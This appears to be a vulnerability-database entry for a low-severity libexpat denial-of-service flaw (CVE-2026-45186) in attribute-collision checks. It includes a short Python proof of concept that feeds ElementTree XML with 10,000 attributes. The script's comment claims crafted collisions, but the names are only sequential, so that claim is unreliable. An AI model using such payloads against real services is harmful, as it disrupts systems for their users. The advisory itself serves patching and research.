In libexpat before 2.8.1, the computational complexity of attribute name collision checks allows a denial of service via moderately sized crafted XML input.
CVSS Details
CVSS Score
2.9
Severity
LOW
CVSS Vector
CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L
Configurations (Affected Products)
No configuration data available.
libexpat < 2.8.1
PoC / Exploit Code
⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import xml.etree.ElementTree as ET
# PoC for CVE-2026-45186
# Generates XML with massive colliding attributes to trigger high computational complexity
def generate_malicious_xml(num_attrs):
xml_payload = "<root"
for i in range(num_attrs):
# Attribute names are designed to trigger collision checks
xml_payload += f' attr{i}="val{i}"'
xml_payload += ">test</root>"
return xml_payload
if __name__ == "__main__":
# Adjust the number of attributes based on the specific environment threshold
malicious_xml = generate_malicious_xml(10000)
try:
print("Attempting to parse malicious XML...")
ET.fromstring(malicious_xml)
print("Parsing completed (DoS may not have been triggered).")
except Exception as e:
print(f"Exception occurred: {e}")